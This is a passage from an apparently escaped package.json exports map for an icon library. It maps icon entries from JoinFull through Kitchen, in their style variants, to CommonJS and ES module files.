\"require\": \"./JoinFullRounded.js\",\n      \"default\": \"./JoinFullRounded.mjs\"\n    },\n    \"./JoinFullSharp\": {\n      \"import\": \"./JoinFullSharp.mjs\",\n      \"require\": \"./JoinFullSharp.js\",\n      \"default\": \"./JoinFullSharp.mjs\"\n    },\n    \"./JoinFullTwoTone\": {\n      \"require\": \"./JoinFullTwoTone.js\",\n      \"import\": \"./JoinFullTwoTone.mjs\",\n      \"default\": \"./JoinFullTwoTone.mjs\"\n    },\n    \"./JoinInner\": {\n      \"require\": \"./JoinInner.js\",\n      \"import\": \"./JoinInner.mjs\",\n      \"default\": \"./JoinInner.mjs\"\n    },\n    \"./JoinInnerOutlined\": {\n      \"require\": \"./JoinInnerOutlined.js\",\n      \"import\": \"./JoinInnerOutlined.mjs\",\n      \"default\": \"./JoinInnerOutlined.mjs\"\n    },\n    \"./JoinInnerRounded\": {\n      \"require\": \"./JoinInnerRounded.js\",\n      \"import\": \"./JoinInnerRounded.mjs\",\n      \"default\": \"./JoinInnerRounded.mjs\"\n    },\n    \"./JoinInnerSharp\": {\n      \"require\": \"./JoinInnerSharp.js\",\n      \"import\": \"./JoinInnerSharp.mjs\",\n      \"default\": \"./JoinInnerSharp.mjs\"\n    },\n    \"./JoinInnerTwoTone\": {\n      \"require\": \"./JoinInnerTwoTone.js\",\n      \"import\": \"./JoinInnerTwoTone.mjs\",\n      \"default\": \"./JoinInnerTwoTone.mjs\"\n    },\n    \"./JoinLeft\": {\n      \"require\": \"./JoinLeft.js\",\n      \"import\": \"./JoinLeft.mjs\",\n      \"default\": \"./JoinLeft.mjs\"\n    },\n    \"./JoinLeftOutlined\": {\n      \"require\": \"./JoinLeftOutlined.js\",\n      \"import\": \"./JoinLeftOutlined.mjs\",\n      \"default\": \"./JoinLeftOutlined.mjs\"\n    },\n    \"./JoinLeftRounded\": {\n      \"require\": \"./JoinLeftRounded.js\",\n      \"import\": \"./JoinLeftRounded.mjs\",\n      \"default\": \"./JoinLeftRounded.mjs\"\n    },\n    \"./JoinLeftSharp\": {\n      \"require\": \"./JoinLeftSharp.js\",\n      \"import\": \"./JoinLeftSharp.mjs\",\n      \"default\": \"./JoinLeftSharp.mjs\"\n    },\n    \"./JoinLeftTwoTone\": {\n      \"require\": \"./JoinLeftTwoTone.js\",\n      \"import\": \"./JoinLeftTwoTone.mjs\",\n      \"default\": \"./JoinLeftTwoTone.mjs\"\n    },\n    \"./JoinRight\": {\n      \"require\": \"./JoinRight.js\",\n      \"import\": \"./JoinRight.mjs\",\n      \"default\": \"./JoinRight.mjs\"\n    },\n    \"./JoinRightOutlined\": {\n      \"require\": \"./JoinRightOutlined.js\",\n      \"import\": \"./JoinRightOutlined.mjs\",\n      \"default\": \"./JoinRightOutlined.mjs\"\n    },\n    \"./JoinRightRounded\": {\n      \"require\": \"./JoinRightRounded.js\",\n      \"import\": \"./JoinRightRounded.mjs\",\n      \"default\": \"./JoinRightRounded.mjs\"\n    },\n    \"./JoinRightSharp\": {\n      \"require\": \"./JoinRightSharp.js\",\n      \"import\": \"./JoinRightSharp.mjs\",\n      \"default\": \"./JoinRightSharp.mjs\"\n    },\n    \"./JoinRightTwoTone\": {\n      \"require\": \"./JoinRightTwoTone.js\",\n      \"import\": \"./JoinRightTwoTone.mjs\",\n      \"default\": \"./JoinRightTwoTone.mjs\"\n    },\n    \"./Kayaking\": {\n      \"require\": \"./Kayaking.js\",\n      \"import\": \"./Kayaking.mjs\",\n      \"default\": \"./Kayaking.mjs\"\n    },\n    \"./KayakingOutlined\": {\n      \"require\": \"./KayakingOutlined.js\",\n      \"import\": \"./KayakingOutlined.mjs\",\n      \"default\": \"./KayakingOutlined.mjs\"\n    },\n    \"./KayakingRounded\": {\n      \"require\": \"./KayakingRounded.js\",\n      \"import\": \"./KayakingRounded.mjs\",\n      \"default\": \"./KayakingRounded.mjs\"\n    },\n    \"./KayakingSharp\": {\n      \"require\": \"./KayakingSharp.js\",\n      \"import\": \"./KayakingSharp.mjs\",\n      \"default\": \"./KayakingSharp.mjs\"\n    },\n    \"./KayakingTwoTone\": {\n      \"require\": \"./KayakingTwoTone.js\",\n      \"import\": \"./KayakingTwoTone.mjs\",\n      \"default\": \"./KayakingTwoTone.mjs\"\n    },\n    \"./KebabDining\": {\n      \"require\": \"./KebabDining.js\",\n      \"import\": \"./KebabDining.mjs\",\n      \"default\": \"./KebabDining.mjs\"\n    },\n    \"./KebabDiningOutlined\": {\n      \"require\": \"./KebabDiningOutlined.js\",\n      \"import\": \"./KebabDiningOutlined.mjs\",\n      \"default\": \"./KebabDiningOutlined.mjs\"\n    },\n    \"./KebabDiningRounded\": {\n      \"require\": \"./KebabDiningRounded.js\",\n      \"import\": \"./KebabDiningRounded.mjs\",\n      \"default\": \"./KebabDiningRounded.mjs\"\n    },\n    \"./KebabDiningSharp\": {\n      \"require\": \"./KebabDiningSharp.js\",\n      \"import\": \"./KebabDiningSharp.mjs\",\n      \"default\": \"./KebabDiningSharp.mjs\"\n    },\n    \"./KebabDiningTwoTone\": {\n      \"require\": \"./KebabDiningTwoTone.js\",\n      \"import\": \"./KebabDiningTwoTone.mjs\",\n      \"default\": \"./KebabDiningTwoTone.mjs\"\n    },\n    \"./Key\": {\n      \"require\": \"./Key.js\",\n      \"import\": \"./Key.mjs\",\n      \"default\": \"./Key.mjs\"\n    },\n    \"./KeyOff\": {\n      \"require\": \"./KeyOff.js\",\n      \"import\": \"./KeyOff.mjs\",\n      \"default\": \"./KeyOff.mjs\"\n    },\n    \"./KeyOffOutlined\": {\n      \"require\": \"./KeyOffOutlined.js\",\n      \"import\": \"./KeyOffOutlined.mjs\",\n      \"default\": \"./KeyOffOutlined.mjs\"\n    },\n    \"./KeyOffRounded\": {\n      \"require\": \"./KeyOffRounded.js\",\n      \"import\": \"./KeyOffRounded.mjs\",\n      \"default\": \"./KeyOffRounded.mjs\"\n    },\n    \"./KeyOffSharp\": {\n      \"require\": \"./KeyOffSharp.js\",\n      \"import\": \"./KeyOffSharp.mjs\",\n      \"default\": \"./KeyOffSharp.mjs\"\n    },\n    \"./KeyOffTwoTone\": {\n      \"require\": \"./KeyOffTwoTone.js\",\n      \"import\": \"./KeyOffTwoTone.mjs\",\n      \"default\": \"./KeyOffTwoTone.mjs\"\n    },\n    \"./KeyOutlined\": {\n      \"require\": \"./KeyOutlined.js\",\n      \"import\": \"./KeyOutlined.mjs\",\n      \"default\": \"./KeyOutlined.mjs\"\n    },\n    \"./KeyRounded\": {\n      \"require\": \"./KeyRounded.js\",\n      \"import\": \"./KeyRounded.mjs\",\n      \"default\": \"./KeyRounded.mjs\"\n    },\n    \"./KeySharp\": {\n      \"require\": \"./KeySharp.js\",\n      \"import\": \"./KeySharp.mjs\",\n      \"default\": \"./KeySharp.mjs\"\n    },\n    \"./KeyTwoTone\": {\n      \"require\": \"./KeyTwoTone.js\",\n      \"import\": \"./KeyTwoTone.mjs\",\n      \"default\": \"./KeyTwoTone.mjs\"\n    },\n    \"./Keyboard\": {\n      \"require\": \"./Keyboard.js\",\n      \"import\": \"./Keyboard.mjs\",\n      \"default\": \"./Keyboard.mjs\"\n    },\n    \"./KeyboardAlt\": {\n      \"require\": \"./KeyboardAlt.js\",\n      \"import\": \"./KeyboardAlt.mjs\",\n      \"default\": \"./KeyboardAlt.mjs\"\n    },\n    \"./KeyboardAltOutlined\": {\n      \"require\": \"./KeyboardAltOutlined.js\",\n      \"import\": \"./KeyboardAltOutlined.mjs\",\n      \"default\": \"./KeyboardAltOutlined.mjs\"\n    },\n    \"./KeyboardAltRounded\": {\n      \"require\": \"./KeyboardAltRounded.js\",\n      \"import\": \"./KeyboardAltRounded.mjs\",\n      \"default\": \"./KeyboardAltRounded.mjs\"\n    },\n    \"./KeyboardAltSharp\": {\n      \"require\": \"./KeyboardAltSharp.js\",\n      \"import\": \"./KeyboardAltSharp.mjs\",\n      \"default\": \"./KeyboardAltSharp.mjs\"\n    },\n    \"./KeyboardAltTwoTone\": {\n      \"require\": \"./KeyboardAltTwoTone.js\",\n      \"import\": \"./KeyboardAltTwoTone.mjs\",\n      \"default\": \"./KeyboardAltTwoTone.mjs\"\n    },\n    \"./KeyboardArrowDown\": {\n      \"require\": \"./KeyboardArrowDown.js\",\n      \"import\": \"./KeyboardArrowDown.mjs\",\n      \"default\": \"./KeyboardArrowDown.mjs\"\n    },\n    \"./KeyboardArrowDownOutlined\": {\n      \"require\": \"./KeyboardArrowDownOutlined.js\",\n      \"import\": \"./KeyboardArrowDownOutlined.mjs\",\n      \"default\": \"./KeyboardArrowDownOutlined.mjs\"\n    },\n    \"./KeyboardArrowDownRounded\": {\n      \"require\": \"./KeyboardArrowDownRounded.js\",\n      \"import\": \"./KeyboardArrowDownRounded.mjs\",\n      \"default\": \"./KeyboardArrowDownRounded.mjs\"\n    },\n    \"./KeyboardArrowDownSharp\": {\n      \"require\": \"./KeyboardArrowDownSharp.js\",\n      \"import\": \"./KeyboardArrowDownSharp.mjs\",\n      \"default\": \"./KeyboardArrowDownSharp.mjs\"\n    },\n    \"./KeyboardArrowDownTwoTone\": {\n      \"require\": \"./KeyboardArrowDownTwoTone.js\",\n      \"import\": \"./KeyboardArrowDownTwoTone.mjs\",\n      \"default\": \"./KeyboardArrowDownTwoTone.mjs\"\n    },\n    \"./KeyboardArrowLeft\": {\n      \"require\": \"./KeyboardArrowLeft.js\",\n      \"import\": \"./KeyboardArrowLeft.mjs\",\n      \"default\": \"./KeyboardArrowLeft.mjs\"\n    },\n    \"./KeyboardArrowLeftOutlined\": {\n      \"require\": \"./KeyboardArrowLeftOutlined.js\",\n      \"import\": \"./KeyboardArrowLeftOutlined.mjs\",\n      \"default\": \"./KeyboardArrowLeftOutlined.mjs\"\n    },\n    \"./KeyboardArrowLeftRounded\": {\n      \"require\": \"./KeyboardArrowLeftRounded.js\",\n      \"import\": \"./KeyboardArrowLeftRounded.mjs\",\n      \"default\": \"./KeyboardArrowLeftRounded.mjs\"\n    },\n    \"./KeyboardArrowLeftSharp\": {\n      \"require\": \"./KeyboardArrowLeftSharp.js\",\n      \"import\": \"./KeyboardArrowLeftSharp.mjs\",\n      \"default\": \"./KeyboardArrowLeftSharp.mjs\"\n    },\n    \"./KeyboardArrowLeftTwoTone\": {\n      \"require\": \"./KeyboardArrowLeftTwoTone.js\",\n      \"import\": \"./KeyboardArrowLeftTwoTone.mjs\",\n      \"default\": \"./KeyboardArrowLeftTwoTone.mjs\"\n    },\n    \"./KeyboardArrowRight\": {\n      \"require\": \"./KeyboardArrowRight.js\",\n      \"import\": \"./KeyboardArrowRight.mjs\",\n      \"default\": \"./KeyboardArrowRight.mjs\"\n    },\n    \"./KeyboardArrowRightOutlined\": {\n      \"require\": \"./KeyboardArrowRightOutlined.js\",\n      \"import\": \"./KeyboardArrowRightOutlined.mjs\",\n      \"default\": \"./KeyboardArrowRightOutlined.mjs\"\n    },\n    \"./KeyboardArrowRightRounded\": {\n      \"require\": \"./KeyboardArrowRightRounded.js\",\n      \"import\": \"./KeyboardArrowRightRounded.mjs\",\n      \"default\": \"./KeyboardArrowRightRounded.mjs\"\n    },\n    \"./KeyboardArrowRightSharp\": {\n      \"require\": \"./KeyboardArrowRightSharp.js\",\n      \"import\": \"./KeyboardArrowRightSharp.mjs\",\n      \"default\": \"./KeyboardArrowRightSharp.mjs\"\n    },\n    \"./KeyboardArrowRightTwoTone\": {\n      \"require\": \"./KeyboardArrowRightTwoTone.js\",\n      \"import\": \"./KeyboardArrowRightTwoTone.mjs\",\n      \"default\": \"./KeyboardArrowRightTwoTone.mjs\"\n    },\n    \"./KeyboardArrowUp\": {\n      \"require\": \"./KeyboardArrowUp.js\",\n      \"import\": \"./KeyboardArrowUp.mjs\",\n      \"default\": \"./KeyboardArrowUp.mjs\"\n    },\n    \"./KeyboardArrowUpOutlined\": {\n      \"require\": \"./KeyboardArrowUpOutlined.js\",\n      \"import\": \"./KeyboardArrowUpOutlined.mjs\",\n      \"default\": \"./KeyboardArrowUpOutlined.mjs\"\n    },\n    \"./KeyboardArrowUpRounded\": {\n      \"require\": \"./KeyboardArrowUpRounded.js\",\n      \"import\": \"./KeyboardArrowUpRounded.mjs\",\n      \"default\": \"./KeyboardArrowUpRounded.mjs\"\n    },\n    \"./KeyboardArrowUpSharp\": {\n      \"require\": \"./KeyboardArrowUpSharp.js\",\n      \"import\": \"./KeyboardArrowUpSharp.mjs\",\n      \"default\": \"./KeyboardArrowUpSharp.mjs\"\n    },\n    \"./KeyboardArrowUpTwoTone\": {\n      \"require\": \"./KeyboardArrowUpTwoTone.js\",\n      \"import\": \"./KeyboardArrowUpTwoTone.mjs\",\n      \"default\": \"./KeyboardArrowUpTwoTone.mjs\"\n    },\n    \"./KeyboardBackspace\": {\n      \"require\": \"./KeyboardBackspace.js\",\n      \"import\": \"./KeyboardBackspace.mjs\",\n      \"default\": \"./KeyboardBackspace.mjs\"\n    },\n    \"./KeyboardBackspaceOutlined\": {\n      \"require\": \"./KeyboardBackspaceOutlined.js\",\n      \"import\": \"./KeyboardBackspaceOutlined.mjs\",\n      \"default\": \"./KeyboardBackspaceOutlined.mjs\"\n    },\n    \"./KeyboardBackspaceRounded\": {\n      \"require\": \"./KeyboardBackspaceRounded.js\",\n      \"import\": \"./KeyboardBackspaceRounded.mjs\",\n      \"default\": \"./KeyboardBackspaceRounded.mjs\"\n    },\n    \"./KeyboardBackspaceSharp\": {\n      \"require\": \"./KeyboardBackspaceSharp.js\",\n      \"import\": \"./KeyboardBackspaceSharp.mjs\",\n      \"default\": \"./KeyboardBackspaceSharp.mjs\"\n    },\n    \"./KeyboardBackspaceTwoTone\": {\n      \"require\": \"./KeyboardBackspaceTwoTone.js\",\n      \"import\": \"./KeyboardBackspaceTwoTone.mjs\",\n      \"default\": \"./KeyboardBackspaceTwoTone.mjs\"\n    },\n    \"./KeyboardCapslock\": {\n      \"require\": \"./KeyboardCapslock.js\",\n      \"import\": \"./KeyboardCapslock.mjs\",\n      \"default\": \"./KeyboardCapslock.mjs\"\n    },\n    \"./KeyboardCapslockOutlined\": {\n      \"require\": \"./KeyboardCapslockOutlined.js\",\n      \"import\": \"./KeyboardCapslockOutlined.mjs\",\n      \"default\": \"./KeyboardCapslockOutlined.mjs\"\n    },\n    \"./KeyboardCapslockRounded\": {\n      \"require\": \"./KeyboardCapslockRounded.js\",\n      \"import\": \"./KeyboardCapslockRounded.mjs\",\n      \"default\": \"./KeyboardCapslockRounded.mjs\"\n    },\n    \"./KeyboardCapslockSharp\": {\n      \"require\": \"./KeyboardCapslockSharp.js\",\n      \"import\": \"./KeyboardCapslockSharp.mjs\",\n      \"default\": \"./KeyboardCapslockSharp.mjs\"\n    },\n    \"./KeyboardCapslockTwoTone\": {\n      \"require\": \"./KeyboardCapslockTwoTone.js\",\n      \"import\": \"./KeyboardCapslockTwoTone.mjs\",\n      \"default\": \"./KeyboardCapslockTwoTone.mjs\"\n    },\n    \"./KeyboardCommandKey\": {\n      \"require\": \"./KeyboardCommandKey.js\",\n      \"import\": \"./KeyboardCommandKey.mjs\",\n      \"default\": \"./KeyboardCommandKey.mjs\"\n    },\n    \"./KeyboardCommandKeyOutlined\": {\n      \"require\": \"./KeyboardCommandKeyOutlined.js\",\n      \"import\": \"./KeyboardCommandKeyOutlined.mjs\",\n      \"default\": \"./KeyboardCommandKeyOutlined.mjs\"\n    },\n    \"./KeyboardCommandKeyRounded\": {\n      \"require\": \"./KeyboardCommandKeyRounded.js\",\n      \"import\": \"./KeyboardCommandKeyRounded.mjs\",\n      \"default\": \"./KeyboardCommandKeyRounded.mjs\"\n    },\n    \"./KeyboardCommandKeySharp\": {\n      \"require\": \"./KeyboardCommandKeySharp.js\",\n      \"import\": \"./KeyboardCommandKeySharp.mjs\",\n      \"default\": \"./KeyboardCommandKeySharp.mjs\"\n    },\n    \"./KeyboardCommandKeyTwoTone\": {\n      \"require\": \"./KeyboardCommandKeyTwoTone.js\",\n      \"import\": \"./KeyboardCommandKeyTwoTone.mjs\",\n      \"default\": \"./KeyboardCommandKeyTwoTone.mjs\"\n    },\n    \"./KeyboardControlKey\": {\n      \"require\": \"./KeyboardControlKey.js\",\n      \"import\": \"./KeyboardControlKey.mjs\",\n      \"default\": \"./KeyboardControlKey.mjs\"\n    },\n    \"./KeyboardControlKeyOutlined\": {\n      \"require\": \"./KeyboardControlKeyOutlined.js\",\n      \"import\": \"./KeyboardControlKeyOutlined.mjs\",\n      \"default\": \"./KeyboardControlKeyOutlined.mjs\"\n    },\n    \"./KeyboardControlKeyRounded\": {\n      \"require\": \"./KeyboardControlKeyRounded.js\",\n      \"import\": \"./KeyboardControlKeyRounded.mjs\",\n      \"default\": \"./KeyboardControlKeyRounded.mjs\"\n    },\n    \"./KeyboardControlKeySharp\": {\n      \"require\": \"./KeyboardControlKeySharp.js\",\n      \"import\": \"./KeyboardControlKeySharp.mjs\",\n      \"default\": \"./KeyboardControlKeySharp.mjs\"\n    },\n    \"./KeyboardControlKeyTwoTone\": {\n      \"require\": \"./KeyboardControlKeyTwoTone.js\",\n      \"import\": \"./KeyboardControlKeyTwoTone.mjs\",\n      \"default\": \"./KeyboardControlKeyTwoTone.mjs\"\n    },\n    \"./KeyboardDoubleArrowDown\": {\n      \"require\": \"./KeyboardDoubleArrowDown.js\",\n      \"import\": \"./KeyboardDoubleArrowDown.mjs\",\n      \"default\": \"./KeyboardDoubleArrowDown.mjs\"\n    },\n    \"./KeyboardDoubleArrowDownOutlined\": {\n      \"require\": \"./KeyboardDoubleArrowDownOutlined.js\",\n      \"import\": \"./KeyboardDoubleArrowDownOutlined.mjs\",\n      \"default\": \"./KeyboardDoubleArrowDownOutlined.mjs\"\n    },\n    \"./KeyboardDoubleArrowDownRounded\": {\n      \"require\": \"./KeyboardDoubleArrowDownRounded.js\",\n      \"import\": \"./KeyboardDoubleArrowDownRounded.mjs\",\n      \"default\": \"./KeyboardDoubleArrowDownRounded.mjs\"\n    },\n    \"./KeyboardDoubleArrowDownSharp\": {\n      \"require\": \"./KeyboardDoubleArrowDownSharp.js\",\n      \"import\": \"./KeyboardDoubleArrowDownSharp.mjs\",\n      \"default\": \"./KeyboardDoubleArrowDownSharp.mjs\"\n    },\n    \"./KeyboardDoubleArrowDownTwoTone\": {\n      \"import\": \"./KeyboardDoubleArrowDownTwoTone.mjs\",\n      \"require\": \"./KeyboardDoubleArrowDownTwoTone.js\",\n      \"default\": \"./KeyboardDoubleArrowDownTwoTone.mjs\"\n    },\n    \"./KeyboardDoubleArrowLeft\": {\n      \"import\": \"./KeyboardDoubleArrowLeft.mjs\",\n      \"require\": \"./KeyboardDoubleArrowLeft.js\",\n      \"default\": \"./KeyboardDoubleArrowLeft.mjs\"\n    },\n    \"./KeyboardDoubleArrowLeftOutlined\": {\n      \"import\": \"./KeyboardDoubleArrowLeftOutlined.mjs\",\n      \"require\": \"./KeyboardDoubleArrowLeftOutlined.js\",\n      \"default\": \"./KeyboardDoubleArrowLeftOutlined.mjs\"\n    },\n    \"./KeyboardDoubleArrowLeftRounded\": {\n      \"require\": \"./KeyboardDoubleArrowLeftRounded.js\",\n      \"import\": \"./KeyboardDoubleArrowLeftRounded.mjs\",\n      \"default\": \"./KeyboardDoubleArrowLeftRounded.mjs\"\n    },\n    \"./KeyboardDoubleArrowLeftSharp\": {\n      \"require\": \"./KeyboardDoubleArrowLeftSharp.js\",\n      \"import\": \"./KeyboardDoubleArrowLeftSharp.mjs\",\n      \"default\": \"./KeyboardDoubleArrowLeftSharp.mjs\"\n    },\n    \"./KeyboardDoubleArrowLeftTwoTone\": {\n      \"require\": \"./KeyboardDoubleArrowLeftTwoTone.js\",\n      \"import\": \"./KeyboardDoubleArrowLeftTwoTone.mjs\",\n      \"default\": \"./KeyboardDoubleArrowLeftTwoTone.mjs\"\n    },\n    \"./KeyboardDoubleArrowRight\": {\n      \"require\": \"./KeyboardDoubleArrowRight.js\",\n      \"import\": \"./KeyboardDoubleArrowRight.mjs\",\n      \"default\": \"./KeyboardDoubleArrowRight.mjs\"\n    },\n    \"./KeyboardDoubleArrowRightOutlined\": {\n      \"require\": \"./KeyboardDoubleArrowRightOutlined.js\",\n      \"import\": \"./KeyboardDoubleArrowRightOutlined.mjs\",\n      \"default\": \"./KeyboardDoubleArrowRightOutlined.mjs\"\n    },\n    \"./KeyboardDoubleArrowRightRounded\": {\n      \"require\": \"./KeyboardDoubleArrowRightRounded.js\",\n      \"import\": \"./KeyboardDoubleArrowRightRounded.mjs\",\n      \"default\": \"./KeyboardDoubleArrowRightRounded.mjs\"\n    },\n    \"./KeyboardDoubleArrowRightSharp\": {\n      \"require\": \"./KeyboardDoubleArrowRightSharp.js\",\n      \"import\": \"./KeyboardDoubleArrowRightSharp.mjs\",\n      \"default\": \"./KeyboardDoubleArrowRightSharp.mjs\"\n    },\n    \"./KeyboardDoubleArrowRightTwoTone\": {\n      \"require\": \"./KeyboardDoubleArrowRightTwoTone.js\",\n      \"import\": \"./KeyboardDoubleArrowRightTwoTone.mjs\",\n      \"default\": \"./KeyboardDoubleArrowRightTwoTone.mjs\"\n    },\n    \"./KeyboardDoubleArrowUp\": {\n      \"require\": \"./KeyboardDoubleArrowUp.js\",\n      \"import\": \"./KeyboardDoubleArrowUp.mjs\",\n      \"default\": \"./KeyboardDoubleArrowUp.mjs\"\n    },\n    \"./KeyboardDoubleArrowUpOutlined\": {\n      \"require\": \"./KeyboardDoubleArrowUpOutlined.js\",\n      \"import\": \"./KeyboardDoubleArrowUpOutlined.mjs\",\n      \"default\": \"./KeyboardDoubleArrowUpOutlined.mjs\"\n    },\n    \"./KeyboardDoubleArrowUpRounded\": {\n      \"require\": \"./KeyboardDoubleArrowUpRounded.js\",\n      \"import\": \"./KeyboardDoubleArrowUpRounded.mjs\",\n      \"default\": \"./KeyboardDoubleArrowUpRounded.mjs\"\n    },\n    \"./KeyboardDoubleArrowUpSharp\": {\n      \"require\": \"./KeyboardDoubleArrowUpSharp.js\",\n      \"import\": \"./KeyboardDoubleArrowUpSharp.mjs\",\n      \"default\": \"./KeyboardDoubleArrowUpSharp.mjs\"\n    },\n    \"./KeyboardDoubleArrowUpTwoTone\": {\n      \"require\": \"./KeyboardDoubleArrowUpTwoTone.js\",\n      \"import\": \"./KeyboardDoubleArrowUpTwoTone.mjs\",\n      \"default\": \"./KeyboardDoubleArrowUpTwoTone.mjs\"\n    },\n    \"./KeyboardHide\": {\n      \"require\": \"./KeyboardHide.js\",\n      \"import\": \"./KeyboardHide.mjs\",\n      \"default\": \"./KeyboardHide.mjs\"\n    },\n    \"./KeyboardHideOutlined\": {\n      \"require\": \"./KeyboardHideOutlined.js\",\n      \"import\": \"./KeyboardHideOutlined.mjs\",\n      \"default\": \"./KeyboardHideOutlined.mjs\"\n    },\n    \"./KeyboardHideRounded\": {\n      \"require\": \"./KeyboardHideRounded.js\",\n      \"import\": \"./KeyboardHideRounded.mjs\",\n      \"default\": \"./KeyboardHideRounded.mjs\"\n    },\n    \"./KeyboardHideSharp\": {\n      \"require\": \"./KeyboardHideSharp.js\",\n      \"import\": \"./KeyboardHideSharp.mjs\",\n      \"default\": \"./KeyboardHideSharp.mjs\"\n    },\n    \"./KeyboardHideTwoTone\": {\n      \"require\": \"./KeyboardHideTwoTone.js\",\n      \"import\": \"./KeyboardHideTwoTone.mjs\",\n      \"default\": \"./KeyboardHideTwoTone.mjs\"\n    },\n    \"./KeyboardOptionKey\": {\n      \"require\": \"./KeyboardOptionKey.js\",\n      \"import\": \"./KeyboardOptionKey.mjs\",\n      \"default\": \"./KeyboardOptionKey.mjs\"\n    },\n    \"./KeyboardOptionKeyOutlined\": {\n      \"require\": \"./KeyboardOptionKeyOutlined.js\",\n      \"import\": \"./KeyboardOptionKeyOutlined.mjs\",\n      \"default\": \"./KeyboardOptionKeyOutlined.mjs\"\n    },\n    \"./KeyboardOptionKeyRounded\": {\n      \"require\": \"./KeyboardOptionKeyRounded.js\",\n      \"import\": \"./KeyboardOptionKeyRounded.mjs\",\n      \"default\": \"./KeyboardOptionKeyRounded.mjs\"\n    },\n    \"./KeyboardOptionKeySharp\": {\n      \"require\": \"./KeyboardOptionKeySharp.js\",\n      \"import\": \"./KeyboardOptionKeySharp.mjs\",\n      \"default\": \"./KeyboardOptionKeySharp.mjs\"\n    },\n    \"./KeyboardOptionKeyTwoTone\": {\n      \"require\": \"./KeyboardOptionKeyTwoTone.js\",\n      \"import\": \"./KeyboardOptionKeyTwoTone.mjs\",\n      \"default\": \"./KeyboardOptionKeyTwoTone.mjs\"\n    },\n    \"./KeyboardOutlined\": {\n      \"require\": \"./KeyboardOutlined.js\",\n      \"import\": \"./KeyboardOutlined.mjs\",\n      \"default\": \"./KeyboardOutlined.mjs\"\n    },\n    \"./KeyboardReturn\": {\n      \"require\": \"./KeyboardReturn.js\",\n      \"import\": \"./KeyboardReturn.mjs\",\n      \"default\": \"./KeyboardReturn.mjs\"\n    },\n    \"./KeyboardReturnOutlined\": {\n      \"require\": \"./KeyboardReturnOutlined.js\",\n      \"import\": \"./KeyboardReturnOutlined.mjs\",\n      \"default\": \"./KeyboardReturnOutlined.mjs\"\n    },\n    \"./KeyboardReturnRounded\": {\n      \"require\": \"./KeyboardReturnRounded.js\",\n      \"import\": \"./KeyboardReturnRounded.mjs\",\n      \"default\": \"./KeyboardReturnRounded.mjs\"\n    },\n    \"./KeyboardReturnSharp\": {\n      \"require\": \"./KeyboardReturnSharp.js\",\n      \"import\": \"./KeyboardReturnSharp.mjs\",\n      \"default\": \"./KeyboardReturnSharp.mjs\"\n    },\n    \"./KeyboardReturnTwoTone\": {\n      \"require\": \"./KeyboardReturnTwoTone.js\",\n      \"import\": \"./KeyboardReturnTwoTone.mjs\",\n      \"default\": \"./KeyboardReturnTwoTone.mjs\"\n    },\n    \"./KeyboardRounded\": {\n      \"require\": \"./KeyboardRounded.js\",\n      \"import\": \"./KeyboardRounded.mjs\",\n      \"default\": \"./KeyboardRounded.mjs\"\n    },\n    \"./KeyboardSharp\": {\n      \"require\": \"./KeyboardSharp.js\",\n      \"import\": \"./KeyboardSharp.mjs\",\n      \"default\": \"./KeyboardSharp.mjs\"\n    },\n    \"./KeyboardTab\": {\n      \"require\": \"./KeyboardTab.js\",\n      \"import\": \"./KeyboardTab.mjs\",\n      \"default\": \"./KeyboardTab.mjs\"\n    },\n    \"./KeyboardTabOutlined\": {\n      \"require\": \"./KeyboardTabOutlined.js\",\n      \"import\": \"./KeyboardTabOutlined.mjs\",\n      \"default\": \"./KeyboardTabOutlined.mjs\"\n    },\n    \"./KeyboardTabRounded\": {\n      \"require\": \"./KeyboardTabRounded.js\",\n      \"import\": \"./KeyboardTabRounded.mjs\",\n      \"default\": \"./KeyboardTabRounded.mjs\"\n    },\n    \"./KeyboardTabSharp\": {\n      \"require\": \"./KeyboardTabSharp.js\",\n      \"import\": \"./KeyboardTabSharp.mjs\",\n      \"default\": \"./KeyboardTabSharp.mjs\"\n    },\n    \"./KeyboardTabTwoTone\": {\n      \"require\": \"./KeyboardTabTwoTone.js\",\n      \"import\": \"./KeyboardTabTwoTone.mjs\",\n      \"default\": \"./KeyboardTabTwoTone.mjs\"\n    },\n    \"./KeyboardTwoTone\": {\n      \"require\": \"./KeyboardTwoTone.js\",\n      \"import\": \"./KeyboardTwoTone.mjs\",\n      \"default\": \"./KeyboardTwoTone.mjs\"\n    },\n    \"./KeyboardVoice\": {\n      \"require\": \"./KeyboardVoice.js\",\n      \"import\": \"./KeyboardVoice.mjs\",\n      \"default\": \"./KeyboardVoice.mjs\"\n    },\n    \"./KeyboardVoiceOutlined\": {\n      \"require\": \"./KeyboardVoiceOutlined.js\",\n      \"import\": \"./KeyboardVoiceOutlined.mjs\",\n      \"default\": \"./KeyboardVoiceOutlined.mjs\"\n    },\n    \"./KeyboardVoiceRounded\": {\n      \"require\": \"./KeyboardVoiceRounded.js\",\n      \"import\": \"./KeyboardVoiceRounded.mjs\",\n      \"default\": \"./KeyboardVoiceRounded.mjs\"\n    },\n    \"./KeyboardVoiceSharp\": {\n      \"require\": \"./KeyboardVoiceSharp.js\",\n      \"import\": \"./KeyboardVoiceSharp.mjs\",\n      \"default\": \"./KeyboardVoiceSharp.mjs\"\n    },\n    \"./KeyboardVoiceTwoTone\": {\n      \"require\": \"./KeyboardVoiceTwoTone.js\",\n      \"import\": \"./KeyboardVoiceTwoTone.mjs\",\n      \"default\": \"./KeyboardVoiceTwoTone.mjs\"\n    },\n    \"./KingBed\": {\n      \"require\": \"./KingBed.js\",\n      \"import\": \"./KingBed.mjs\",\n      \"default\": \"./KingBed.mjs\"\n    },\n    \"./KingBedOutlined\": {\n      \"require\": \"./KingBedOutlined.js\",\n      \"import\": \"./KingBedOutlined.mjs\",\n      \"default\": \"./KingBedOutlined.mjs\"\n    },\n    \"./KingBedRounded\": {\n      \"import\": \"./KingBedRounded.mjs\",\n      \"require\": \"./KingBedRounded.js\",\n      \"default\": \"./KingBedRounded.mjs\"\n    },\n    \"./KingBedSharp\": {\n      \"import\": \"./KingBedSharp.mjs\",\n      \"require\": \"./KingBedSharp.js\",\n      \"default\": \"./KingBedSharp.mjs\"\n    },\n    \"./KingBedTwoTone\": {\n      \"require\": \"./KingBedTwoTone.js\",\n      \"import\": \"./KingBedTwoTone.mjs\",\n      \"default\": \"./KingBedTwoTone.mjs\"\n    },\n    \"./Kitchen\": {\n      \"require\": \"./Kitchen.js\",\n      \"import\": \"./Kitchen.mjs\",\n      \"default\": \"./Kitchen.mjs\"\n    },\n    \"./KitchenOutlined\": {\n      \"require\": \"./KitchenOutlined.js\",\n      \"import\": \"./KitchenOutlined.mjs\",\n      \"default\": \"./KitchenOutlined.mjs\"\n    },\n    